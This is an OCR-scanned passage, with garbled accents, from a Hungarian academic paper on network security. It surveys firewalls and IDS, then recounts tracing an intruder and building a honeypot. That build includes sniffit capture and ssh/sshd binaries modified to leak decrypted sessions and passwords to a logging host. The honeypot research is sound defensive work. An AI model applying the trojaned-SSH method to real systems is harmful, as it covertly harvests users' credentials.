és az application level firewall. Ez utébbi a kiilvilag fele latszo szolgaltatasok
mindegyikéhez egy-egy specifikus proxy programot tartalmaz, melyhez kiilon-
kiilon csatlakozik a bels6 és kiils6 vildg. (A késObb részletezett csapda-
szamitogép megoldasunkban mi egy egyszerti, Linux alapt packet filtering
firewall megoldést alkalmaztunk a biztonsag novelése érdekében.)

A firewall alkalmazasa azért népszerl és egyszerli, mert a korldtos, in-
ternetrél is hozzaférheto szolgaltatas védelme sokkal konnyebb, mintha az
egész rendszer Osszes programjat védenénk. Problémakat jelent viszont, hogy
a feltorések jelentOs szazaléka szervezeten beliilrol torténik, hogy a firewall
implementéciéja is lehet hibas, és akar véletleniil is atengedhetiink olyan
adatokat amelyekkel a firewall megkertiilheto.

1.5.3 IDS rendszerek

Az Intrusion Detection System a behatolasok érzékelését, analizaldsat és
a megfelel6 cselekvést tamogatja. Segitségével a tamadasokat nem megel6zni,
hanem kontollalni tudjuk. Egyes IDS rendszerek csak az utélagos karban-
tartasban jatszanak szerepet. Illyen példaul a tripwire, mellyel a fajlok integ-
ritdsat lehet ellendrizni, tehat azt, hogy rosszindulati tamaddé megbizhatd,
eredetinek hitt fajljainkat nem moédositotta. Mas rendszerek komplex védelmet
adnak és folyamatosan figyelik a hélézati forgalmat. A forgalom figyelése
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abra 1.4: Még viszonylag j6 védekezés mellett is a betdrések nagy része detektdlatlan
marad. (CERT kimutatés)

torténhet egy szamitégépen, a halozatra helyezett ”lehallgato-1DS-sel” vagy
példaul egy IDS-sel ellatott router (dtvonalvalasztd) segitségével.

Az IDS rendszerek hatékonyan figyelmeztethetnek a legkiilonb6zobb dol-
gokras: Erzékelhetnek portscant, amikor a tamadd a szolgaltatdsok végigprébalgatasaval
prébal informéciét szerezni, észrevehetnek betorési kisérleteket mar felfede-
zett hibakkal szemben, vagy olyan felhaszndl6i bejelentkezéseket, melyek
nem szokasos helyrol, vagy idépontban torténnek (ilyenkor persze magas a
téves pozitivok esélye).

Az IDS rendszerek, féleg egy-egy rendszer tobb ezer dolldros volta el-
lenére nem tud megoldani egy sereg dolgot: Hatékonyan hasznédlhaté pl. a
telnet protokollban zajlé gyanus forgalom figyelésére, de a titkositott for-
galmat nem tudja analizdlni. Hatékony lehet egy kis hélézatban, de akar
mar egy 25%-ig kihasznalt atlagos 100 Mbps sebességii halézatndl sem biz-
tos, hogy az Osszes érkez6 adatot a megfelel sebességgel fel tudja dolgozni,
ilyenkor csomagok veszhetnek el, és megnd a nemriasztasok szama.

1.5.4 Audit rendszerek

Hasznos eszkoz a rendszergazdék kezében a kiilonb6z6 audit programok
hasznélata. Segitségiikkel informécié nyerhet6 a rendszer allapotardl, a po-
tencialis hibaforrasokrdl. A fent emlitett tripwire is tekintheté audit pro-
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gramnak. Mas audit programok régi, ismert betorési lehetéségekrdl tartal-
maznak informécidkat (a régi itt relativ, egyes rendszereket naponta frissitenek),
és ez alapjan elemzik a rendszer dllapotat.

Azonban egyik audit rendszer sem tartalmazhatja az Osszes hiba in-
forméciéjat és nem mutathatja ki a rendszergazda Osszes tévedését. Ha-
sonléképpen ha nem futtatjuk le drédga audit rendszeriinket (hiszen még
a programok pdar perces frissitésére is ”lustak” vagyunk), akkor nem fogjuk
jobban védeni rendszeriinket.

1.5.5 Egyéb lehetoségek

A fenti eszkozokon tdl rengeteg apré moédszer és furmény lehetséges.
A biztonsag novelésének egyik leghatékonyabb modja a szokasostdl eltéro,
egyéni mddszerek hatékony 6tvozése az altalanosan elfogadott médszerekkel.

Miért? A betord nem szamit az adott védekezési mddra.

A legegyszeriibb mdédon félre lehet vezetni a betordt, aki igy legaldbbis
riasztast produkélhat, igy konnyen kiderithet6 egy kiilonben jél leplezett si-
keres betorés is. (Ilyen mdédszer példaul egy nem létezé vendég felhasznéld
létrehozasa, amelyik csak riasztast general, a betérot viszont valamilyen
hibaiizenettel megtéveszti.)

Rengeteg mas intuitiv modszer elképzelhetd, és ezek hatékonysiga azért
nagy, mert a védelem nem algoritmizalhat6. Sosem ismerjiik egy rendszer
Osszes gépének hardware és szoftver dllapotat, sosem ismerjiik a programok-
ban lev6 Osszes hibat, és ha ismernénk is a rendszer teljes allapotat, akkor
sem allna médunkban mindezt kielemezni és megoldést taldlni algoritmi-
kusan minden problémara. Ha pedig nincsen algoritmikus megoldas, akkor
a biztonsdg nem maximalizdlhaté, csak egyre jobb optimumokat tudunk
elérni. Ebben pedig segitségiinkre lehet barmely sajat otlet.

Fontos felhivni a figyelmet arra, hogy a biztonsag igen nagy 6sszegekbe
keriilhet. Egy jobb IDS rendszer t&bb ezer dollarba keriil, hasonléképpen
egy firewall-al, ami szintén tizezer dollaros nagysagrendi beruhazast igényel.
Ezen 6sszegek mellett a magyar informatikus munkabére nem jelent akkora
tételt, hogy ne érne meg egy odafigyel6 szakértd megfizetése. Itt nem csak a
kifejezetten security consulting teriileten dolgozd emberekre gondolunk, hi-
szen tudasukat 6k sem adjdk ingyen, de egy hozzdértd, nem tuldolgoztatott
rendszergazda, ha tényleg marad ideje, sokat segithet egy rendszer biz-
tonsaganak novelésében.

Ma Magyarorszagon az intuitiv, kreativ moddszerek csak igen gyéren,
elszérva hasznalatosak, hasonléan: a firewall-on kiviil a védekezés 6sszes méas
moédszere a gyakorlatban ismeretlen. Sajnos a legtobb biztonségra torekvo
rendszergazda a felhasznal6 nélkiili rendszerben gondolja az egyediili tidvozitd
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megoldast. Ennek megvaltoztatasara pedig igen nagy sziikség lesz a kovet-
kez6 években.

Csapdaszamitogépes példankkal is utolso dllitasainkat prébéljuk igazolni:
A biztonsag ,,hazi” eszkozokkel jelentosen novelhetd.
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Fejezet 2
A csapdaszamitogép

Mit lehet tenni a biztonsidg megerdsitése érdekében?

Barmely szempontbdl kozelitjiik meg a biztonsag kérdését, rendkiviil sok
lehet&ségiink van a rendszer biztonsagdnak megersitésére. A rengeteg le-
het6ség azért all el, mert — mint ezt mar emlitettiik — nincs egy teljes,
100%-0s megoldds. Ha pedig nincsen teljes biztonsag, akkor mindig ki lehet
taldlni egy jobb, optimalisabb, esetleg alternativ mddszert.

,,If you know yourself well,

And know your enemy /competitor well,
You will win the battle almost 100 percent.”
— Sun Tzu, ,,The Art of War”

A védekezés egyik fontos lépése az ellenség megismerése. Csak akkor
tudunk megfeleléen védekezni, ha tudjuk, hogy mitél kell védekezni. Fontos
tehat a folyamatos adatgytijtés, odafigyelés, stb., melynek egy részét mar az
IDS rendszereknél emlitettiik.

2.1 EIl6 betorési példa
Mindezeket atgondolva jutottunk arra az elképzelésre, hogy vizsgdlatainkat

jO lenne él6 szitudcidban vizsgalni. Szamitégépes rendszerek fenntartdsa
kozben mar talalkoztunk valds betorési szituacidval.

2.1.1 A betoro

Egyik esetben egy igen elhanyagolt rendszerbe hatolt be a betord. Mivel
a betoro sem végzett gondos munkat latvan azt, hogy a rendszerre nem fi-
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gyelnek, igy viszonylag sok pontos adatot hagyott magardl. Belépését tobb
kiilonboz6 dialup (modemes internethozzéaférés) cimrdl kovette el. Ezek a
belépések a kortilményeknek megfelelen visszanyomozhatdak lehetnek. Azon-
ban semmit nem érhetiink ezekkel az adatokkal, ha az emlitett dialup-os
belépési név és jelszé mar a betéré korabbi tevékenysége alapjan lopott
volt.

A masik probléma ilyen esetekben a szolgaltaték hozzadllasa. Még pontos
adatok megaddasa esetén sem adnak szivesen informaéacidkat arrdl, hogy ki is
lépett be az adott modemre a megadott idpontban. Jogi eljaras lefolytatasa
ilyen esetekben még koriilményesebb lenne, hiszen ismeretlen tettes ellen
lehetne csak feljelentést tenni, és a jog még nem érett meg hazankban az
ilyen perekre.

Szerettiik volna kideriteni azonban a ,,blin6z6” kilétét. Hogyan lehet
azonban kideriteni valakinek a kilétét, ha lopott azonositéval 1ép be egy
feltort gépre valamilyen hamis néven? A dolog rendkiviil egyszerii: A betér6
is tévedhet, és esetleg maga azonositja sajat magat. fgy is tortént.

2.1.2 Az IRC segitsége

A mi altalunk felhaszndlt eszkoz a lenyomozéasra az IRC nevii internet-
szolgaltatas volt. Ezen a szolgdltatason a vilagbol tobb tizezer ember tud a
szamitoégépen keresztiil — szoveges moédban — egymaéssal beszélgetni.

Minden egyes felhaszndlét, aki az IRC-re 1ép, harom adat azonosit:

e a beceneve, amit tetszlegesen megvalaszthat;

e a felhasznaldi azonositéja;

e ¢és a gép ahonnan belépett.

Természetesen a felhasznalé azonositdja azon a gépen, ahonnan belép
nem biztos hogy valédi, hiszen ez példaul egy MS Windows alapt rendszeren
ez a paraméter tetszlegesen bedllithaté. A gép is hamisithatd, azaz inkdbb
elfedésrdl beszélhetiink: alkalmazhatéak megfelel proxy-k arra a célra, hogy

ne latszodjon, az illeté valéjabol melyik géprol 1ép fel a hélézat kiillonb6zo
szolgaltatasaira.

2.1.3 Ijjabb adatok a betororol!

Az elfeltételezéstink, hipotézisiink a kovetkezo volt: a feltord magyar lehe-
tett, mert mindig magyar modemekrdél 1épett fol, és a magyar ,,hacker-élet”
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elég szorosan kotdik az IRC-hez. (Miként a hires Kevin Mitnick is gyakran
volt megtalalhaté IRC-n. [11])

Ezek alapjan feltételeztiik, hogy a betorést végzé személy megtalalhato
volt valamikor a betorések idépontjaiban az IRC magyar kapcsolatd csa-
tornain. Az IRC kliens programok bedllithatdak, hogy az egyes csatornara
belépd személyeket és az elhangzott szovegeket napldzzak, rogzitsék. El-
kezdtink tehat a megadott idépontokban rédkeresni a régebbi, még fellelhet6
naplofijljainkban azutan, hogy a betord esetleg belépett volna a megadott
géprol az adott idpontban valamelyik ismert csatornara.

Keresésiink koriilményes volt, de hamar eredménnyel kecsegtetett: talaltunk
egy X felhaszndldt, aki fél oraval az egyik betorés el6tt 1épett ki ugyanarrdl
a modemrol ahonnan kés6ébb betortek. Ezen a vonalok kezdtiink tovabb nyo-
mozni: ismerosoktol segitséget és utdananézést kérve sikeriilt informacidkat
kapni. Tébb ,,majdnem” taldlat utan sikeriilt egy kvazi bizonyitékot sze-
rezniink: X felhasznélé ugyanakkor volt jelen IRC-n, mint a feltort gépen.

Természetesen a téves-pozitiv lehetsége tovabbra is fennallt:

e Az eredeti logok a belépésrdl lehettek hamisak is, ha valaki direkt igy
akarta.

e Az idépontok pontossdgara nincs adatunk, nem tudtuk biztosan, hogy
melyik gép drdja volt rendesen szinkronizdlva.

e Az IRC napléfajlok, amelyekbdl a kovetkeztetéseket levontuk, nem
sajatok voltak, igy lehettek hamisak,

e X felhasznal6 modemre csatlakozo gépe Linux operacids rendszer alatt
iizemelt. Egy igen ligyes hacker feltérhette az 6 gépét is, majd csak és
kizardlag, akkor és onnan lépett be a feltort gépre.

2.1.4 A csapda felallitasa

Nem sikeriilt tehat 100%-ig megnyugtatéan bizonyitani a feltorést, és
ha tudnank is bizonyitani, akkor sem lennének megfelel6 lehetségeink a
tovabbiakra. Mindenesetre miutan mi kielégit6 hibaarannyal biztosnak vettiik
azt, hogy X torte fel a rendszert, megtudtuk X pontos adatait. Hogy még
jobban cstkkentsiik a hiba lehet6ségét, csapdat allitottunk. Az dltala feltort
Linux rendszerben riasztokat helyeztiink el, melyek E-mail, majd SMS tjan
(mobiltelefonon) riasztanak minket, ha a betor Gjra belép a rendszerbe.

Azért, hogy fontos informécidk ne tlinhessenek el nyom nélkiil, tobb
szolgaltatas megfigyelése és a torlés parancs atirdsa utan hagytuk ott a
rendszert. Par héten beliil a betord tGjra belépett a rendszerbe, majd ezutan
par perccel mi is megkezdtiikk a megfigyelését, keresését. Gyantunk tovabb
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novekedett X személyével kapcsolatban. A betoré észrevette, hogy mar nem
korlatlan ura a rendszernek, igy hamarosan kilépett. X-et telefonon hivtuk
fel ezutan, és ott nem tagadta a betorés tényét. . .

A példa leglényegesebb eleme az, hogy noha a célszamitégépen semmi-
lyen adat nem utalt egész pontosan a betéré személyazonossagara, mégis a
meglévd adatok iitkoztetésével sikeriilt kideriteni a betorést végzd személy
kilétét. Volt még egy fontos tanulsdga a dolognak: a betér6 tovabbi kiska-
put hagyott a rendszerben. Ezt sajat maga leplezte le akkor, amikor jra
a rendszerbe 1épett. Ezért tehat hasznos volt hagyni, hogy még egyszer,
immar kontrolldlt médon léphessen be, mert igy fontos, dltalunk nem ismert
adathoz is jutottunk betorésével kapcsolatban.

2.2 A csapdaszamitogép Osszeallitasa

A fenti példa kapcsan a kovetkezo Otlet fogalmazddott meg benniink:

Epiteni kellene egy olyan szdmitégép-rendszert, ahol egy valds kornye-
zetben tudjuk megfigyelni szamitogépes betorok tevékenységét. Ez egyrészt
izgalmas feladat: le lehet vele leplezni szamitégépes blindzoket. De ez csak az
érem egyik oldala, a masik oldalon segit megerdsiteni a szamitégéprendszeriink
biztonsagéat. Csak a tamadonk megismerésével késziilhetiink fel igazan jol a
tamadasokra.

Van tovabbd még egy fontos szandék is ebben a munkaban: ha sikeriil
kovetni egy betoro tevékenységét egy rendszeren, akkor nagy az esélye, hogy
tovabbi rendszerekbe valé betoréseire is informacidkat hagy hatra. Ezek le-
hetnek:

belépés egy masik, feltort rendszerbe;

fajlatvitel mas rendszerekrél, ahol mar jart;

véletlen elirdsok, melyeket mas gépekre akart beirni, csak eltévesztette
az ablakot;

e stb.

Osszességében tehdt nemesak pontosabban tudnénk kovetni a betors
mentalitasat, és ismerni szoftver és moddszertani eszkozeit, hanem meg is
tudnénk vizsgdlni, hogy az adott betéré milyen rendszereket tort még fel,
igy esetleg kideriilhetne olyan feltorés is, amelyre a feltort gép gazdai még
nem jottek ra, de nekiink mar informéaciéink lennének réla.
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2.2.1 A csapda konkrét felépitése

A csapdaszamitogéptol a kovetkezé kritériumokat vartuk el:

e Legyen egyszeri elkésziteni, standard eszkozokre épiiljon.

e Ne veszélyeztesse a meglévd szamitogépes haldzat biztonsagat, azaz
magan a csapdaszamitégépen kiviil méas szdmitégépekre ne jelentsen
veszélyt.

e A betord ne, vagy csak nehezen vegye észre, hogy betorése kozben
figyelik.

e Minden lehetséges informaciot rogzitsiink a betorésrol, de csak annyit,
amennyit ki is tudunk értékelni. Legyen tehdt strukturalt informacid,
de ha valami egész pontosan érdekesnek bizonyul, akkor részletes in-
formécié is.

A rendszer legyen mobilis, konnyen kezelhet6 és atalakithato.

Az altalunk felépitett rendszer a kdvetkezdket tartalmazza:

A rendszert a Debian GNU Linux disztribicié ,,slink”, 2.1-es verzi6éjabdl
hoztuk létre, mely 1999. mérciusdban jelent meg.

A rendszert egy viszonylag egyszerii és olcsén beszerezhet6 szamitégépre
telepitettiik (Intel Celeron 366MHz, 64 Mbyte RAM, 6.4 GB HDD, ...)

Mivel barki, aki a csapda-gépet feltori, a gép haldzati csatoléjan atmeno
bérmely adathoz hozzéférhet (sniffelheti). Igy igen fontos, hogy a gép vagy
egy switchelt haldozati szakaszon legyen, vagy — mint a mi megolddsunkban
— a gépet egy mésik gépen at tettiik elérhetévé. (2.1. abra)

A masik (,,firewall”) gépben két halézati csatold volt, ennek egyik kartyéja
a kiilvilag iranyaban aktiv halézati csatold volt, a masikra keresztbenkotott
UTP kabel segitségével csatlakoztattuk a csapdaszamitégépet. Ezzel a meg-
oldéssal azt értiik el, hogy a csapdaszamitégép haldzati csatoldjan a labor
tovabbi forgalma nem megy &t. fgy — ha a laborbdl senki nem hasznélja az
csapdagépet mas célra — az ottani lehallgatds nem okoz biztonsagi probléméat
a tobbi szamitégépre nézve.

Ezt konnyitend6 a masik, igymond ,,firewall” szerepet eljatszo szamitégépen
(szintén Linux-os gép) ugy installiltuk az IP forwardingot! hogy csak a
kiils6 forgalom keriilhet a csapdaszamitégépre. fgy a labor mas gépeirdl a
csapdaszamitogép kozvetleniil elérhetetlen és viszont. Ha a labor gépei és a
csapdaszamitogép kozott adatmozgatdsra van sziikség, akkor ezt a ,,firewall”
gépbe val6 bejelentkezéssel lehet csak megtenni.

TP csomagok sziirt tovabbitdsa transzparens médon. (Itt kiilonboz6 csatolk kozott.)
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abra 2.1: A labor felépitése, a csapda szamitégép kornyezete

A csapdaszamitogép felél a ,,firewall” gép Gsszes nem sziikséges szolgaltatasat,
IP portjét letiltottuk, a linux rendszerbe (2.2-es kernel) beépitett ipchains
technika segitségével. Ezzel nehezebbé tettiik azt, hogy a csapdaszamitégépre
betoro illetd esetleg a labor més gépeire atlépve oda is betorjon.

2.2.2 Naplézas beallitasa

Miutédn a csapdaszamitégép ily médon fogadni és tovabbitani tudja az
adatokat, a kovetkezd 1épés a napldzas, az informacio tarolas pontos feltételeinek
megteremtése volt.

A Linux rendszer alapkiépitésében is tarol informaciokat arrél, hogy mi
tortént a rendszerrel. Ezt vagy egyes specifikus alkalmazasok kulon végzik
(FTP-daemon transferlog, Apache web-szerver napléfajljai) vagy a kézponti
syslogd nevezetii daemon?-on keresztiil torténik az adatok mentése.

A syslogd pontos informécidkat kap minden belépésrél, az egyes szolgaltatasok
lizeneteirdl. Ezeket az tlizeneteket Un. Syslog facility-k szerint csoportositva
kapja, amelyeken beliil tovabbi csoportositas is lehetséges. Azt, hogy melyik
naplofajlba pontosan mit kell elmenteni, a syslogd egy konfiguracios fajlbol
olvassa ki. Elképzelhet6 az is, hogy egy-egy tizenet tobb helyre is elmentésre
keriil, de az is elfordulhat, hogy sehova sem.

Zkiszolgslé-feliigyeld program
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A naplébejegyzések mentésére nem lenne célszeri a majdan feltérésre
keriil6 csapdaszamitogépet hasznalni, mivel az azon levé féjlokhoz egy feltorés
utan barki hozzaférhet és visszamendleg torolheti a bejegyzéseket. Ha min-
den egyes napldiizenetet atkiildiink egy masik gépre , akkor ezzel mega-
kadalyozhatjuk, hogy a betoro legalabb visszamendleg ne tiintethesse el a
bejegyzéseket. Ha pedig az tizeneteket sorfolytonosan irjuk le, akkor a mult
mar megvaltoztathatatlan marad.

napléiizenet

syslogd esemény
- —

abra 2.2: Tavoli naplozas

A syslog daemon tdmogatja a tavoli logolast. Ebben az esetben a konfi-
guracids fajlban megadott szamitogépre kiildi tovabb a megadott izeneteket.
A célszamitogépen természetesen ugy kell futtatni a syslog daemont, hogy
az a kiils6 tlizeneteket fogadja. (2.2. dbra) (Ezt a -r kapcsoldval futtatva
tehetjitk meg.)

A problémat az okozza, hogy a tavoli logolas authentikalatlanul torténik,
azaz ha megnyitjuk ezt a lehetséget, akkor elvileg barki a vilaghdl telesze-
metelheti gépiinket hamis iizenetekkel.

Mi a kovetkez6 megoldést valasztottuk:

e A syslogd minden iizenetet tovabbkiild az 5.4.3.2 IP cimi gép felé;

e A firewall”-nak nevezett szamitégépen (ami kozvetleniil csatlakozik
a csapdaszamitégépre) letiltottuk a syslog portjat, nehogy véletleniil
teleszemetelje egy tamado;

o Az 5.4.3.2 IP cimi gép syslog portjdra iranyuld forgalmat a | firewall”
szamitégépen atirdnyitottuk annak lokalis syslog portjdra.

e A firewall” szamitégépen 2 db. syslog daemon fut, az egyik a lokalis
iizenetek feldolgozasara, a masik kiilon konfigurdciés fajlt és taroldsi
alkonyvtart hasznalva a tavoli logok gylijtését végzi.

Ennek eredményeképpen minden tizenet, ami kijut a csapdaszamitogéprol,
megfelelden rogzitédik a , firewall” szamitégépen, ugyanakkor a betoro barmilyen

26



lehallgatas esetén sem tudhatja biztosan, hogy hova keriiltek a logok, igy
nem valészini, hogy azok megsemmisitésére fog torekedni, magyarul a ,.fi-
rewall” szamitégépet nem veszi célba.

Egy tovabbi gond maradt nyitott: a tavoli logolas tényét a betord ha-
mar észreveheti. Erre két lehetdsége is lehet: az egyik a hélézati forgalom
lehallgatasa, a masik a syslog konfigurdciés fajljanak egyszeri megtekintése.
Mindkettére van megoldas:

A syslog daemon forrasprogramjanak modositdasaval az Gjraforditds utan
mar nem a szokdasos helyrdl veszi a konfiguracios informéacidkat, hanem egy
masik fajlbol. Ekkor a betoré nyugodtan hiheti, hogy az eredeti helyen levo
konfiguracids fajl tartalmazza az igazi bejegyzéseket. Az egyediili gond az le-
het, ha ezt a fajlt editalni kezdi, és ezutan nem latja a logolas megvaltozasat.
Ezért a legcélszertibb az eredeti fajl felhasznaldsa, és ehhez egy tovabbi
kiegészitd fajl hasznélata.

A masik probléma, a lehallgatds nehezen védhet6. Egyik megolddsunk
lehetne, hogy nem a halézaton keresztiil kiildjiikk at a napldbejegyzéseket,
hanem példaul a szamitégép parhuzamos portjdn 4t (nyomtatéra vagy ily
médon csatlakoztatott mésik gépre). Ez azonban koriilményes és sokkal jobb
nem lesz t6le a rendszer. Egy mdésik megoldas, ha titkositva kiildjik at az
adatokat a hélézaton. A betor6 ez esetben is sejtheti — foleg ha megkeresi
a ,,jelek” forrasat —, hogy logolasrdl van szd, de ennek ellenére a folyamatot
biztonsagosabba teheti.

2.2.3 A tavoli naplézas 4j moédszerei

Tovabbi gond, ha a betord felfedezi a tavoli naplézast, akkor elronthatja,
meghamisithatja az atkildott bejegyzések tartalmat.

A tévoli gépen nem lehet tudni pontosan, hogy mikor kezdte el a lo-
gokat a csapdaszamitéogépen miikodd betéré meghamisitani. Ez azonban
athidalhat6. A utébbi hetekben (1999. oktéber) alakult az, IETF-en (In-
ternet Engineering Task Force) beliil egy bizottsag, amelyik a syslog meg-
ersitésével, biztonsagosabba és jobban kezelhetové tételéért tevékenykedik.
A bizottsdg miikodése mogott tobb, mar kifejlesztett azonban nem elterjedt,
nem széleskorben ismert megoldéds huzodik meg.

Egy egyszerii eljarast mutat be a biztonsagosabb napléfajl-kezelés meg-
oldéséra Kargieman ésFutoransky a ,,PEO-1 protokoll” segitségével. [16]
A médszer egyszerti hashfiiggvényen® alapul, ahol szekvencidlisan, az el6z6
uizenettol is fligg a kovetkezo tartalma. Ezzel ugyan még nem oldjak meg a

3Hashfiiggvény: olyan egyirdnyt fiiggvény, ami egy nagyobb méretii adathalmazrél egy
kisebb méretli adathalmazra képez le; hashfiiggvénnyel leképzett ,,lenyomatot” hasznalnak

példaul digitalis aldirds bemeneteként
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problémat 100%-ig, mert egy betord a csapdaszamitégép memdridjahoz is
korlatlanul hozzaférhet, és igy gyakorlatilag minden adat a rendelkezésére
allhat. Azonban a célnak megfelel: nem lehetetlenné, csak problémaéssa, igen
koriilményessé teszi a tdmadést. (A protokollt alkalmazé syslog megoldds
rendelkezésre all, most nem hasznaljuk, de a kozeljovében beépitjiik a rend-
szerlinkbe.) [17]

Megoldottuk tehat, hogy a rendszeriizenetek megfelel6en mentésre keriilje-
nek, azonban ez még igencsak kevés a betor6 cselekedeteinek kovetésére.

2.2.4 A forgalom figyelése

Az, hogy a csapdaszamitogépet a ,firewall”-on keresztiil tettiik elérhet6vé,
tjabb lehetséget hordoz magdban: Minden forgalmat, ami a csapdaszamitégép
felé megy vagy jon attdl, megfigyelhetiink a koztes ,,firewall”-on is. A megfi-
gyelésre természetesen hasznalhatunk nagy IDS rendszereket is, ezek azon-
ban tobbnyire pénzbe keriilnek és ideiglenes, kiprébdlasra szant ingyenes
verzidik megszerzése sem egyszerii. Bar a legtobb IDS rendszer jelezné nekiink
a betorés tényét, ugyanakkor a betoré megfigyelésére mar nem annyira al-
kalmas. Alkalmatlan tovabba a kédolt adatfolyamok megfigyelésére, ilyen
példdul az SSH, a titkositott shell kozismert protokollja.

2.2.5 Sniffit

Mi tehat egyszeriibb 1épést valasztottunk:

A csapdaszamitégép irdanyéaban zajlé forgalombdl bizonyos szolgaltatasok
adatait a sniffit nevli programmal rogzitjiik egy megfeleld alkonyvtarba.
Ez a program a ,firewall” Ethernet kirtyajat az un. ,,promiscuous” modba
kapcsolja. fgy minden Ethernet-csomag feldolgozasra keriil, nem csak azok,
amelyek célpontja az adott szédmitdgép. A sniffit a TCP kapcsolatokon
atmeno6 adatokat fajlokba menti, melyek nevei tartalmazzak az adott kap-
csolatban résztvevo két IP cimet és a portcimeket.

Ezzel a megoldassal (ha a sniffit birja a hélézati forgalmat és nem
hagy ki csomagokat), logolni tudjuk a csapdaszamitégépre tarté TELNET
adatfolyamokat, az FTP kapcsolatokon atment parancsokat, az atmend le-
veleket, WWW kéréseket, és par egyéb dolgot. Sajnos tovabbra sem lesz
ezzel hasznédlhaté logunk az SSH protokollrdl, sem barmely SSL-t hasznald
szolgédltatasrél. A sniffit-et be tudtuk még allitani igy is, hogy az egyes
szolgaltatasokrdl Osszesitd tablazatot is készitsen, azaz egy kiilon fajlba menti
példaul a TELNET kapcsolatokon dtment név/jelszé azonositéparokat.

A legfontosabb 1épése a betord megfigyelésének a shell parancsok kdvetése.
Fz a TELNET kapcsolat lehallgatasaval mar megvaldsult, azonban ma mér a
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abra 2.3: Titkositatlan adatfolyam kiszivarogtatasa

TELNET protokoll helyett majdnem mindenki az SSH szolgédltatdst hasznalja.
Ez pedig kédolt TCP/IP forgalmat eredményez.

2.2.6 Az SSH naplézasa

Mit lehet tenni annak érdekében, hogy az ssh-n 4tmené forgalmat is meg
tudjuk figyelni?

Az SSH tobbfajta titkositasi és authentikacids eljarast tartalmaz. 6 Aut-
hentikalasnal kétféle mdodszert valdaszthatunk: azonositdas nyilvanos kulcsu
rejtjelezés segitségével, illetve hagyomanyos jelszé alapi azonositas.

A betord ezen eljarasok koziil egyszeriisége miatt a igen nagy valdszinliséggel
jelszavas azonositdst fogja hasznélni. Lehetséges megoldas tehat dgy atirni
az SSH protokollt, hogy a ,firewall’-on kitalalhaté legyen a kapcsolat alatt
hasznélt Osszes kulcs, ehhez az adott szamitégép (a mi feladatunkban a
csapda-gép) nyilvanos és titkos RSA kulcsét is at kell vinni a ,firewall”-
ra. Ezutan az egész kapcsolat alatt fenndlld titkos adatfolyamot vissza kell
kédolni a korabban megfigyelt, kulccsere soran 1étrejovo kapcesolat-kulccesal.

Ez egy jarhaté ut, am igen-igen bonyolult, nem teljesitené a specifikdcioban
elvart egyszertiséget. Milyen megoldasok johetnek még széba?
Egy kédolt iizenet-sorozat feltorése igen nehéz lehet, azonban a probléma

gyakorta megkeriilhetd. Az egyik szébajohet6 megoldés a csapdaszamitégépen
van.

Az SSH és a TELNET is egy shellt fog futtatni, melynek kédjat médosithatjuk
gy, hogy minden rajta atmené adatot lassunk. Talalhatunk is méar megirt
programcsomagot ilyen célokra, példaul ttysnoop. A dolog csak azért problémas,
mert ezeket az adatokat mi szeretnénk biztonsigosan elmenteni, példaul a
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»firewall” gépre. Ekkor pedig a lehallgatott adatokat a syslogd-nek kellene
kiildeniink, &m t6bb 1j probléma mertil fel: A syslogd naplébejegyzések fel-
dolgozasanal és a mentésnél is pontosan kell kovetni, melyik tizenet melyik
bejelentkezéshez, melyik éppen futd shell-hez tartozik. A vezérlé-karakterek
atvitele is problémakat jelent.

Ennél az utnal talaltunk egy sokkal egyszertibben megvaldsithaté eljarast:

A médszer az ssh és az sshd programok, azaz az SSH kliens és SSH szer-
ver atirdsa volt. Mindkét programot forrdskédjaban tgy maédositottuk, hogy
azok egy-egy kapcsolatndl ne csak a megszokott titkos kapcsolatot, hanem
kapcsolatonként két, nemtitkos kapcsolatot is nyissanak meg. A nemtitkos
kapcsolatot az altalunk atirt ssh a ,firewall” szamitégép felé nyitotta. Az
egyik kapcsolaton a fogadott, a masik kapcsolaton a kiildott informéciot le-
het megfigyelni nem titkositott formédban. (Ha nem akarjuk, hogy a betord
lehallgatas esetén raj6jjon, hogy mi is lehallgatjuk 6t, akkor egy egyszeriibb
titkositassal, akar a PEO-1-gyel ezt a nemtitkos kapcsolatot is védhetjiik,
titkosithatjuk.)

A nemtitkos kapcsolaton atment adatok elmentésérdl a ,firewall”’-on az
altalunk megirt révid perl programok gondoskodnak. A nemtitkos kapcsolat
els6 sordban az ssh vagy sshd kozli a perl script-ekkel a célszamitogép,
vagy a daemon esetén a forrasszamitégép cimét. Ez alapjan a perl script
a megfeleld alkonyvtarban egy megfelel6 névvel azonositott fajlba menti az
Osszes adatot.

Az sshd az authentikdcié sordn megkapott jelszét és felhasznaldi azo-
nositét is tovabbitja a nemtitkos kapcsolat irdanyaba, mivel az kiilonben
nem lehetne megfigyelhet6. Az ssh programot természetesen csak bindrisan
raktuk fel a csapdaszamitogépre, és mint sejthetjiik, nem sok betoré fogja
leellendrizni, hogy a rendszerben levo bindris fajlok az adott szitudciéban
hitelesek-e, avagy sem. fgy legalabb az els6 lehallgatdsig minden bizonnyal
titkos tud maradni tevékenységiink.

Az ssh programok &atirdsaval mod van a betord tovabbi megfigyelésére
is:

Feltételezhetjiik, hogy a betor6 (azért, hogy magét elrejtse, vagy egyéb
okbdl, esetleg véletleniil is) a feltort csapdaszamitégéprol fog djabb szamitégépekre
tovabbmenni. Mi ezeket is pontosan meg tudjuk figyelni.

A dolog voltaképpen egy rejtett biztonsdgi probléma: Az SSH protokoll
mindig csak a legktzelebbi szerverig titkosit, ha onnan djra tovabbmegyiink,
akkor a mér kititkositott adatfolyam keriil djra kédoldsra (2.4. dbra)

Ha ilyen esetben a kozépen elhelyezkedd szerver csak buta ismétlo lenne,
és a tavoli szerverhez mend adatokat csak siman megismételné, a kliens pedig
kozvetlen a tavoli szervertol szerezne kulcsot a kédolashoz, akkor a rendszer
biztonsagos tudna maradni. Természetesen modot adna man-in-the-middle
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abra 2.4: Az SSH miik6dési médja tobb gépen keresztiil

tipusi tdmadasra, de ez ellen az SSH eleve védekezik a szerver RSA alapu
azonositasaval.

Nagyon érdemes atgondolni tehét, hogy noha az SSH-ban jobban megbiztunk
mint egy titkositatlan adatfolyamban, ennek ellenére ugyanigy le lehetett
hallgatni, persze csak az egyik oldal aktiv kozremkodésével. A hamis biz-
tonsagérzet viszont szabadsdgot adhat a meggondolatlan ember kezébe, ami
veszélyt jelenthet szaméra. [jgy gondolja, hogy biztonsagban van, kozben
pedig nem, igy viszont joval nagyobb baj érheti, mint ha megfeleléen évatos
lenne.

2.2.7 Tovabbi teenddk; a betoro csalogatasa

A logolas f6 feladatait ezzel megoldottuk. Mar csak egy par aprd 1épést
